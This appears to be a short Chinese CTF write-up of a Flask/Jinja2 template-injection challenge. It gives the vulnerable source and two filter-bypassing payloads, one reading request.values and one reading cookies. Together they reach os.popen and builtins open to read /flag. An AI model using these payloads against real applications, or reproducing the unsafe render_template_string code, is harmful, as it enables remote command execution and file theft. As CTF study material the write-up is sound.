Werkzeug/1.0.1Python/3.8.7
源码EXP
/?name={%print(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.tari)|attr(request.values.f)())%}&tari=cat%20/flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
源码
from flask import Flask
from flask import request
from flask import render_template_string
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
在上题基础上过滤了 {{
可以换成其他定界符,如 {% %}
这个是语句,不过其不像 {{}}
会打印结果,因此要使用 print
输出。
其他解法,Cookie传参
/?name={%set%20aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag